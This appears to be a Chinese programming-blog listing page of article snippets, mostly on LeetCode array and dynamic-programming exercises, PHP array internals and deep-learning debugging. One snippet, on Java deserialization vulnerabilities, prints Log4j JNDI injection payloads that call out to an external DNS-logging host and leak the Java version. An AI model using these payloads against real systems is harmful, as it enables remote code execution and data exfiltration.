序列 训练营 数组 随想
[代码随想录]Day40-动态规划part08
题目：139. 单词拆分 思路： 单词就是物品，字符串s就是背包，单词能否组成字符串s，就是问物品能不能把背包装满。 拆分时可以重复使用字典中的单词，说明就是一个完全背包！ 动规五部曲分析如下： 确定dp数组以及下标的含义：dp[i] : 字符串长度为i的话，dp[i]为true，表示可以拆分为一个 ......
PHP7内核实现原理-数组的实现
PHP 的数组是基于 HashTable 实现的，并且在其上增加了顺序访问的特性。这里分 PHP 5 和 PHP 7 两个版本看数组的演进。 PHP 5.6.31 源码：https://github.com/php/php-src/blob/php-5.6.31/Zend/zend_hash.h#L ......
算法训练 Leetcode 203、206、707
# 算法训练 Leetcode 203、206、707 ## 203.移除链表元素 以为头结点是空的，里面只存着下一个结点的地址。 注意空指针检查：p!=NULL; ~~~c++ class Solution { public: ListNode *removeElements(ListNode * ......
深度学习模型训练中，输入数据维度和标签数据维度调整方法
for inputs, labels in train_loader: # 使用numpy的transpose函数调整维度顺序 inputs = np.transpose(inputs, (0, 3, 1, 2)) #将原输入数据最后一个维度换到第二个维度 inputs = inputs.to(de ......
day2 - 数组part02
力扣977. 有序数组的平方 思路1：双指针，在数组中心的两个数，作为左右指针的开始，循环比较左右指针，找出最小的平方，插入到结果数组中。 此思路是错误的，因为数组中心不见得是平方最小的数，比如数组：-4，-3，-2，-1 如果要输出的话，第一个就应该输出-1,并不是最中心的数。 思路2：那我先遍历 ......
深度学习模型训练时报错“nll_loss_forward_reduce_cuda_kernel_2d_index“ not implemented for ‘Float‘问题解决
报错如下： RuntimeError: "nll_loss_forward_reduce_cuda_kernel_2d_index" not implemented for 'Float' 一般来说这个问题是计算Loss时的报错。 解决方法： 将如下代码 loss_func(torch.squeez ......
R语言武汉流动人口趋势预测：灰色模型GM（1，1）、ARIMA时间序列、logistic逻辑回归模型|附代码数据
全文链接：http://tecdat.cn/?p=32496 原文出处：拓端数据部落公众号 人口流动与迁移，作为人类产生以来就存在的一种社会现象，伴随着人类文明的不断进步从未间断。 人力资源是社会文明进步、人民富裕幸福、国家繁荣昌盛的核心推动力量。当前，我国经济正处于从以政府主导的投资驱动型的经济“ ......
数组模拟链表 模拟栈和队列 单调栈和队列（9/7 9/8）
单链表 数组模拟链表可以加快速度，更利于优化算法 #include<iostream> using namespace std; const int N = 100010; int e[N], ne[N], head, idx; void init() { head = -1; idx = 0; } ......
JS 判断数组维度，一维数组还是多维数组
JS 判断数组维度，一维数组还是多维数组 ## 需求 > 想要判断数组的维度，是一维数组还是多维数组 ## 分析 ```js function multiarr(arr){ let a = 1; for (let i = 0;i 将所要判断的数组传到 function 中，输出即是当前数组的维度 ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
JavaNote04-数组与排序算法
## 1. 数组的概述 ### 1.1 数组的概念 数组(Array)是多个相同类型数据按一定顺序排列的集合，并使用一个名字命名，并通过编号的方式对这些数据进行统一管理。 **数组中的概念**：数组名、下标（或索引）、元素、数组的长度 {return a.x==b.x?a.y0||(cross((C-B),(B-A))==0&&is(A,B)==is( ......
剑指 Offer 53 - I. 在排序数组中查找数字 I
**题目链接：** [剑指 Offer 53 - I. 在排序数组中查找数字 I](https://leetcode.cn/problems/zai-pai-xu-shu-zu-zhong-cha-zhao-shu-zi-lcof/description/?envType=study-plan-v2 ......
剑指 Offer 51. 数组中的逆序对
**题目链接：** [剑指 Offer 51. 数组中的逆序对](https://leetcode.cn/problems/shu-zu-zhong-de-ni-xu-dui-lcof/?envType=study-plan-v2&envId=coding-interviews) **题目描述：** ......
代码随想录算法训练营第二天| 977.有序数组的平方，209.长度最小的子数列，59.螺旋矩阵Ⅱ
## 977.有序数组的平方 双指针法 因为负数平方后也会变大，所以较大的平方值只可能在靠近两端的位置，越往中间走平方值必定越小。 > 所以，在原数组两端各定义一个指针，慢慢往中间走，然后把平方值按顺序放到新数组里即可。 ```c++ class Solution { public: vector ......
二维树状数组基础.
`2023-08-10 11:04:41 顶置3` # 二维树状数组 二维树状数组与一维树状数组其实原来差不多，相当于对整个列开一个树状数组，然后对其中每一行开一个树状数组。所以其基本形式与一维树状数组差不多，非常好理解（可以看做是行列相互独立，只是处理行的时候处理的是其对应的列的树状数组，学了二维 ......
P2757 [国家集训队] 等差子序列 和小感悟
`2023-07-19 20:07:13` (双倍经验:CF452F Permutation) ## 前言 这篇题解的代码与大部分代码用的正反做哈希不太一样，是倒数组做哈希的，希望可以给跟我方法相似但是代码挂了的同学一点启发。 ## 自己的想法 由等差数列基本性质，我们只要找到任意三个数满足 $a[ ......
[代码随想录]Day39-动态规划part07
## 题目：[70. 爬楼梯](https://leetcode.cn/problems/climbing-stairs/description/) ### 思路： 除了`dp[i] = dp[i-1] + dp[i-2]`还可以用完全背包的方法，可以放无数个1或者2，看有多少种排列(先背包后物品) ......
原地移除数组中的重复元素
给你一个 升序排列 的数组 nums ，请你 原地 删除重复出现的元素，使每个元素 只出现一次 ，返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考虑 nums 的唯一元素的数量为 k ，你需要做以下事情确保你的题解可以被通过： 更改数组 nums ......
双指针法删除数组里面的值
你一个数组 nums 和一个值 val，你需要 原地 移除所有数值等于 val 的元素，并返回移除后数组的新长度。 不要使用额外的数组空间，你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。 说明: 为什么返回数值是整数，但输出的答 ......
记录编写并训练测试经典数据集mnist
import tensorflow as tf mnist = tf.keras.datasets.mnist (x_train, y_train),(x_test, y_test) = mnist.load_data() x_train, x_test = x_train / 255.0, x_t ......
0907训练
### P - windy 数 首先考虑把 $[a,b]$ 的答案转化为 $[1,b]$ 的答案减去 $[1,a-1]$ 的答案。 然后就可以数位 $dp$，设 $dp_{i,j,k}$ 表示当前 $dp$ 到第 $i$ 位，上一个是 $j$，目前是否已经小于目标的方案数。 这个题有一个不同之处是前 ......
代码随想录刷题记录——双指针篇
27. 移除元素 题目链接 快慢指针，最终返回index值为移除元素后的数组末尾元素下标+1. #include<vector> using namespace std; class Solution { public: int removeElement(vector<int>& nums, in ......
代码随想录个人笔记——字符串篇
344. 反转字符串 题目链接 #include<bits/stdc++.h> using namespace std; class Solution { public: void reverseString(vector<char>& s) { int len = s.size(); for(in ......
代码随想录算法训练营第二天
# 代码随想录算法训练营第二天 | [LeetCode 977(有序数组的平方)](https://leetcode.cn/problems/squares-of-a-sorted-array) [LeetCode 209(长度最小的子数组)](https://leetcode.cn/problem ......